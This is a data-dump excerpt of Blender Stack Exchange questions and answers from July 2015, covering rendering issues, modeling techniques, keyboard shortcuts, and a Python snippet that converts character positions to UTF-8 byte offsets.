  <row Id="34086" PostTypeId="2" ParentId="34077" CreationDate="2015-07-16T16:25:13.957" Score="2" Body="&lt;p&gt;The selection spans from line &lt;code&gt;current_line_index&lt;/code&gt; beginning at &lt;code&gt;current_character&lt;/code&gt; to &lt;code&gt;select_line&lt;/code&gt; ending at &lt;code&gt;select_end_character&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these coincide, there is no character selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given you know the line and column of your character you can check yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However &lt;code&gt;current_character&lt;/code&gt; and &lt;code&gt;select_end_character&lt;/code&gt; are byte offsets. &#xA;Python uses unicode points. So unless you are using pure ASCII you need to convert the char position to byte offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.wikipedia.org/wiki/UTF-8&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/UTF-8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conversion is a bit cumbersome. Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from itertools import islice&#xA;&#xA;txt_line = &quot;\u03A0\u2764\u2600\u2602This is a Test&quot; &#xA;col = 9&#xA;print(txt_line)&#xA;&#xA;ubounds = [0x80, 0x800, 0x10000, 0x110000]&#xA;offset = 0&#xA;&#xA;#char is actually an immutable newly created string...&#xA;for char in islice(txt_line, 0, col): &#xA;    code_point = ord(char)&#xA;    for size, ub in enumerate(ubounds):&#xA;        if code_point &amp;lt; ub:&#xA;            offset += size + 1&#xA;            break&#xA;&#xA;print(&#xA;    &quot;byte at %d: %d - char: %d&quot; % (&#xA;        offset,&#xA;        bytes(txt_line, 'utf-8')[offset],&#xA;        ord(txt_line[col])&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-07-16T16:35:19.587" LastActivityDate="2015-07-16T16:35:19.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34087" PostTypeId="1" AcceptedAnswerId="34146" CreationDate="2015-07-16T16:28:45.820" Score="1" ViewCount="4191" Body="&lt;p&gt;I have a &quot;rendering&quot; problem: the face of one of my characters appears in a wrong place (the empty's one) as I render the image (clicking f12). When I just switch to the rendered mode in the 3D view everything works perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach a screenshot of the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZmq1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14080" LastEditorUserId="47" LastEditDate="2015-07-16T16:38:24.277" LastActivityDate="2021-03-22T17:41:40.157" Title="Object in the wrong position when rendered" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34088" PostTypeId="2" ParentId="34078" CreationDate="2015-07-16T16:43:39.167" Score="2" Body="&lt;p&gt;you have area lights (with a really small size?) upon your ceiling, pointing downward.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kuaDM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Your ceiling is in it's own shadow! I didn't use BI for a long time, so i don't even understand that you have your walls visible...&#xA;Anyway, add some point lights under the ceiling or some area with low energy pointing up.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dzxpj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-07-16T16:52:48.960" LastActivityDate="2015-07-16T16:52:48.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34089" PostTypeId="1" AcceptedAnswerId="34093" CreationDate="2015-07-16T17:31:03.087" Score="0" ViewCount="107" Body="&lt;p&gt;having consulted &lt;a href=&quot;https://blender.stackexchange.com/questions/21715/how-can-i-extrude-a-dome-from-a-circular-face&quot;&gt;How can I extrude a dome from a circular face?&lt;/a&gt;, I realize I could probably use that method to achieve what I'm looking for (a stool cushion). However I already have a curve with the wanted form and was wondering if there's something like a circular extrusion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9WeeS.png&quot; alt=&quot;stool plus curve&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15704" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-16T18:06:44.553" Title="Extrude curve circularly" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34091" PostTypeId="2" ParentId="34089" CreationDate="2015-07-16T17:38:52.037" Score="0" Body="&lt;p&gt;You can try to convert the curve to mesh and then just extruding to the shape you want converting the curve to mesh shortcut is alt+C i think  but maybe there is better way how to do it is long time i use blender &lt;/p&gt;&#xA;" OwnerUserId="15705" LastActivityDate="2015-07-16T17:38:52.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34092" PostTypeId="2" ParentId="34087" CreationDate="2015-07-16T17:43:45.750" Score="1" Body="&lt;p&gt;My first hunch, in the abscense of a ~.blend file, is that the head and the body are separate objects, and that at some point you moved the head in edit mode when you should have moved the head in object mode. Moving the head in edit mode moves the vertices, but not the object's origin, but the object is rendered based on the objects origin. The solution (assuming the origin is in the proper place) is to select edit mode, if you're not already in that mode, select the head object and press the key combination &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;ALT&lt;/kbd&gt; - &lt;kbd&gt;SHFT&lt;/kbd&gt; - &lt;kbd&gt;C&lt;/kbd&gt;, and select the option &quot;geometry to origin&quot;. If the origin is not in the right point, you'll want to move the origin to where it is, before moving the geometry to the origin. After you have the origin and the geometry in the proper location relative to where you want them, you'll enter object mode and apply the location using the combination &lt;kbd&gt;CTRL&lt;/kbd&gt; - &lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-07-16T17:43:45.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34093" PostTypeId="2" ParentId="34089" CreationDate="2015-07-16T18:06:44.553" Score="0" Body="&lt;p&gt;select the curve and add a screw modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ClWTI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-16T18:06:44.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34094" PostTypeId="1" AcceptedAnswerId="34096" CreationDate="2015-07-16T18:23:28.313" Score="1" ViewCount="542" Body="&lt;p&gt;I would like to make a bind to Ctrl Key for snapping on/off. When I press Ctrl - snapping should be toggled on/off. Is it possible to make?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAOma.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15707" LastEditorUserId="599" LastEditDate="2015-07-16T19:21:17.177" LastActivityDate="2015-07-16T19:21:17.177" Title="How to make a bind to Ctrl Key for toggling snapping on/off" Tags="&lt;shortcut&gt;&lt;snapping&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34096" PostTypeId="2" ParentId="34094" CreationDate="2015-07-16T18:30:01.640" Score="5" Body="&lt;p&gt;Unfortunately, you can't use solely a modifier for a shortcut, plus there already is a shortcut to toggle this: &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tx7Tv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to, you can change this in the User Preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open the user preferences with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;, and switch to the &lt;em&gt;Input&lt;/em&gt; tab, you can search by shortcut (Click the dropdown next to the search box and select &lt;em&gt;Key-Binding&lt;/em&gt;) to find entries containing &quot;shift tab&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NRmEG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, find the entry under 3D view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IkNGY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And press where it says &lt;em&gt;Shift Tab&lt;/em&gt; and press the keys you want to bind.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3710" LastEditDate="2015-07-16T18:45:17.853" LastActivityDate="2015-07-16T18:45:17.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34097" PostTypeId="2" ParentId="34074" CreationDate="2015-07-16T18:30:56.870" Score="7" Body="&lt;p&gt;The artifacts are not from z-fighting, but from transparent auto shadows bias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just turn the option off:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Shadow auto bias on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGDwL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Shadow auto bias off:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y5DkM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Elaboration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was once &lt;a href=&quot;https://developer.blender.org/T35219&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug&lt;/a&gt; which was (supposedly) fixed for 2.68:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Found the cause of the problem, it's due to the ray bias options that tries to avoid bad ray traced shadows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's supposed to eliminate shadow artifacts on smooth shaded surfaces where the shadow terminator is - like this one (I think..):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zd4L1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that blender sometimes fails to get it automatically right, setting it to fix value then works better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or making the surface flat shaded should work also.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-07-17T08:29:28.667" LastActivityDate="2015-07-17T08:29:28.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34099" PostTypeId="1" CreationDate="2015-07-16T18:49:57.623" Score="2" ViewCount="132" Body="&lt;p&gt;I am trying to make a lamp in the blender game engine, however, I am having a lot of trouble making the light go through the lampshade in a diffuse type of illumination, how can I do this? I have tried with the modifier &quot;cloth&quot; and playing around with textures, but nothing seems to work.&#xA;&lt;br&gt;&#xA;Something like this: (&lt;a href=&quot;http://feelgrafix.com/838711-lamp.html&quot; rel=&quot;nofollow&quot;&gt;http://feelgrafix.com/838711-lamp.html&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="15709" LastActivityDate="2016-03-13T04:07:27.810" Title="How to simulate a lamp shade in the game engine" Tags="&lt;modeling&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34100" PostTypeId="2" ParentId="34099" CreationDate="2015-07-16T18:57:36.503" Score="1" Body="&lt;p&gt;Actually it is translucency, it doesn't have anything common with cloth simulation. Most close and simple you could make - bake Translucent shader from Cycles into texture, but result actually would be good only for one point of view, so I think it would be better but much harder to write own fragment shader.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-16T18:57:36.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34102" PostTypeId="1" AcceptedAnswerId="34104" CreationDate="2015-07-16T19:11:17.917" Score="3" ViewCount="172" Body="&lt;p&gt;I have created a house using a plane. Then I decided to redo the house. &#xA;I kept the old house to see the dimensions, and after re-doing the house, I deleted the old house.&#xA;However, Blender still shows the box of the old house.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7k3LZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that so and how can I delete this artifact? There are no vertices in the old house anymore, so I am not sure why Blender still shows this box.&lt;/p&gt;&#xA;" OwnerUserId="14968" LastEditorUserId="599" LastEditDate="2015-07-17T06:15:58.627" LastActivityDate="2015-07-17T06:15:58.627" Title="What is this dashed bounding box left where there is no geometry?" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34103" PostTypeId="1" AcceptedAnswerId="34107" CreationDate="2015-07-16T19:15:34.983" Score="3" ViewCount="882" Body="&lt;p&gt;So I have a cylinder that I have extruded some other geometry onto. I need a way to bloat the vertical lines of the original geometry. Thanks guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to turn this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/ \&#xA;|||&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; / \&#xA;( | )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15710" LastActivityDate="2015-07-16T20:16:25.617" Title="Bloating a cylinder" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34104" PostTypeId="2" ParentId="34102" CreationDate="2015-07-16T19:43:59.660" Score="3" Body="&lt;p&gt;Those dashed lines normally represent the object's texture space when &lt;em&gt;Texture Space&lt;/em&gt; is enabled in &lt;em&gt;Properties &gt; Object &gt; Display&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rjc4u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have accidentally pressed &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; at some point, which is used for translating the texture space. As a side effect it enables texture space display as in the screenshot above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you disable texture space display, then they should go away.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-16T19:43:59.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34105" PostTypeId="2" ParentId="34103" CreationDate="2015-07-16T19:47:59.073" Score="2" Body="&lt;p&gt;For a quick modeling, I'll suggest to use the &quot;Cast&quot; modifier, with Shpere cast type selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNc2W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-16T20:14:09.160" LastActivityDate="2015-07-16T20:14:09.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34106" PostTypeId="1" CreationDate="2015-07-16T20:02:33.390" Score="3" ViewCount="491" Body="&lt;p&gt;&lt;strong&gt;Short version:&lt;/strong&gt;&#xA;The amount of divisions (resolution) a smoke domain object can have seems to be limited to 512. Is there a way to get more divisions than 512?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long version:&lt;/strong&gt;&#xA;I am trying to make a smoke simulation for a flying rocket. The rocket will be flying up in a straight line, so the domain object of the smoke simulation is narrow and high. The way the resolution seems to work is that blender takes the amount of divisions set, applies that to the height of the domain, and uses only a fraction of those divisions for the way smaller width of the domain, so that for every &quot;pixel&quot; the height and width are the same in size.&#xA;The baking process does not take that long because the total amount of &quot;pixels&quot; is not that high. Unfortunately, I need a lot more divisions in order to get an accurate simulation, while there seems to be a limit of 512 for the amount of divisions of a domain object. As a result of this I end up with a low res, inaccurate simulation, while my computer could easily handle more divisions. Is there a way to have more than 512 divisions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of the domain object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T4cRY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14937" LastEditorUserId="599" LastEditDate="2015-07-16T20:07:29.417" LastActivityDate="2015-07-17T06:14:18.683" Title="Is a smoke simulation with more than 512 divisions possible?" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34107" PostTypeId="2" ParentId="34103" CreationDate="2015-07-16T20:06:07.223" Score="4" Body="&lt;p&gt;One way is by using &lt;em&gt;&lt;a href=&quot;http://blender.org/manual/getting_started/basics/transformations/transform_control/proportional_edit.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proportional Editing&lt;/a&gt;&lt;/em&gt; (&lt;kbd&gt;O&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add extra geometry to deform by adding some &lt;em&gt;loop cuts&lt;/em&gt; (&lt;kbd&gt;&amp;#9096; &#xA;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;proportional editing&lt;/em&gt; (&lt;kbd&gt;O&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Select a falloff in &lt;em&gt;3D view &gt; Header&lt;/em&gt;. I used the default, &lt;em&gt;Smooth&lt;/em&gt;, but you might want to try some other ones and see what you like best. Note that you can change the falloff in the &lt;em&gt;Redo panel&lt;/em&gt; (&lt;kbd&gt;F6&lt;/kbd&gt;) after scaling in step 4.&lt;/li&gt;&#xA;&lt;li&gt;Select the center loop cut and scale with &lt;kbd&gt;S&lt;/kbd&gt;. Use &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1vyT.png&quot; alt=&quot;MW&quot; title=&quot;Mouse Wheel&quot;&gt; MW&lt;/kbd&gt; to adjust the distance at which proportional editing will affect other vertices.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdZmK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-07-16T20:16:25.617" LastActivityDate="2015-07-16T20:16:25.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34108" PostTypeId="1" AcceptedAnswerId="34271" CreationDate="2015-07-16T20:08:35.870" Score="6" ViewCount="10454" Body="&lt;p&gt;I have mixed two textures together using black and white values from a noise texture which is connected to a color ramp.&#xA;How can I apply a displacement map on a plane so that either the texture &amp;quot;A&amp;quot; or &amp;quot;B&amp;quot; is the limiting factor that determines&#xA;which parts are affected by the displacement modifier within a plane? I want to use a mask layer to adjust the intensity&#xA;of the displacement with a noise texture, but at the same time limit it to only some parts of the texture combination.&lt;/p&gt;&#xA;&lt;p&gt;I have applied a rough displacement on my scene which covers the whole plane, but I'm asking this beacuse I want to&#xA;add some fine details with two (displacement) modifiers. I know you can assign vertex groups to mark off the affected area,&#xA;but in my case that's not possible, for you can't see any textures in a vertex select mode and it forces you to select them&#xA;randomly.&lt;/p&gt;&#xA;&lt;p&gt;There's a link below to give you a better idea about the problem. Areas which I want to add some extra displacement to are&#xA;marked as red.&lt;/p&gt;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://drive.google.com/file/d/0B4NHszZHPR_1OVFEWEt2UkdON28/view?pli=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B4NHszZHPR_1OVFEWEt2UkdON28/view?pli=1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://lh3.googleusercontent.com/uW9dOuKfr4Dsvr3SMDAOOSpoITzsHPoNn1Y2NNnXWGJSeBn7Ppe3NA7mZwenotWaQGU882ZCIZr0J6Y=w1862-h871-rw&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="7828" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-26T19:21:36.407" Title="How to add a displacement map on a plane using procedural textures with a layer mask" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34109" PostTypeId="2" ParentId="33636" CreationDate="2015-07-16T20:19:48.577" Score="11" Body="&lt;p&gt;Blender doesn't show ALL edges by default in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dU4wC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make all edges visible, go to Display Panel  in the Object Context&#xA;and check the &quot;Draw all edges&quot; box as in the picture.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-17T09:48:49.003" LastActivityDate="2015-07-17T09:48:49.003" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34110" PostTypeId="1" CreationDate="2015-07-16T20:56:50.923" Score="0" ViewCount="512" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/58uSK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I model this?I have it modeled from the front view, but how can I make it match the right view? What ever I do on the right view messes up the front view. How can I do this? &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15243" LastActivityDate="2015-07-17T05:30:28.097" Title="How to model the top of helmet?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34111" PostTypeId="1" CreationDate="2015-07-16T21:02:12.313" Score="1" ViewCount="160" Body="&lt;p&gt;Do you know if I can do something like a marine radar in blender, detecting figures in the world (like cubes moving around) and showing them in a display. (seeing both, the radar display and the world). Like in a FPS game :P.&lt;/p&gt;&#xA;" OwnerUserId="15713" LastActivityDate="2015-07-16T21:02:12.313" Title="Radar simulator" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34112" PostTypeId="1" AcceptedAnswerId="34126" CreationDate="2015-07-16T21:10:37.963" Score="1" ViewCount="328" Body="&lt;p&gt;I want to import a '3ds' model into Blender. I have the '3ds' file and several 'jpg' files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;image_bump.jpg &lt;/li&gt;&#xA;&lt;li&gt;image_color.jpg &lt;/li&gt;&#xA;&lt;li&gt;image_illumination.jpg&lt;/li&gt;&#xA;&lt;li&gt;image_specular.jpg&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: the website states that the models are already uv-unwrapped and come with the textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I get a '3ds' file with these textures.&#xA;When I try to import the '3ds' file into Blender, I only get the model without the textures applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it even possible that the textures are applied and &quot;saved&quot; in an '3ds' file?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it common that textures are applied in an '3ds' file?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can Blender open the model with the textures applied?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, because I thought that maybe this isn´t possible at all, I tried to add the textures to the model myself, with limited success.&#xA;I habe been able to add one jpg as Texture for the material of the model.(using Blender Render).&lt;br&gt;&#xA;But I was neither able to assign more materials to the model nor assign more textures to one material.&#xA;(My thought was that I should try to assign all 4 jpgs to the model)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Cycles render I was able to create multiple texture nodes, but was not able to use all of the on the model.(through mix shader)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my most significant question is:&#xA;Am I on the right track to import the model, or is this done in a completely different way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I do not know much about blender or 3dmodelling in general.&lt;br&gt;&#xA;However I also think that you don´t have to know much about it, because I am intending to buy already finished textures, so I guess it shouldn´t be too hard to just convert them into a file format that is suitable for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or instruction to get into the right direction are highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Okay, I found out that getting the Model to be displayed correctly in blender has noch much to do with getting the Model correctly displayed in an own written application.&#xA;(I thought that I had to do some work on the model, then export everything(model,material,textures) into one file and then load this file in my application.&#xA;)&#xA;As this is the blender subsite i´ll accept Buthur´s answer, cause he told me how to get the model working in blender!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to all of you!&lt;/p&gt;&#xA;" OwnerUserId="15714" LastEditorUserId="15714" LastEditDate="2015-07-17T21:30:44.090" LastActivityDate="2015-07-17T21:30:44.090" Title="How to use different texture images" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;&lt;import&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34113" PostTypeId="1" AcceptedAnswerId="34121" CreationDate="2015-07-16T21:23:04.337" Score="4" ViewCount="2005" Body="&lt;p&gt;Is there some easy way to calculate the acceleration of an object at every point in time, between the two closest keyframe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking that the easiest way would be to calculate the velocity of the object and then calculate it's derivative. However, for that I need the time difference, which I don't know how to calculate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this even &lt;em&gt;possible&lt;/em&gt; (currently :D)?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2015-07-17T05:33:06.733" Title="How can I calculate the acceleration of an object?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34114" PostTypeId="2" ParentId="34108" CreationDate="2015-07-16T22:42:39.717" Score="2" Body="&lt;p&gt;I dont think is currently possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there is no Texture node editor for the Displacement modifier.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qx8fw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to mask the two textures with the procedural texture (excactly how as been done for the diffuse color), make some tweak an put this &lt;strong&gt;custom&lt;/strong&gt; texture, created with the built-in node tree, in the Displace modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not currently possible (2.75a) because, as said &lt;a href=&quot;https://developer.blender.org/T32759&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (as far as I know things has not changed yet about this) there are some issue implementing this, so you'll not see a Displacement modifier slot next to the four under the arrow in the image above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XAkW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and none of the provided texture type is capable to be mixed with another as needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XZptj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to mask the displace modifier with a flipped copy and a Shrinkwrap modifier with limit enabled...but there are a lot of limitations in this kind of approach, so I won't suggest you.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-16T23:06:12.057" LastActivityDate="2015-07-16T23:06:12.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
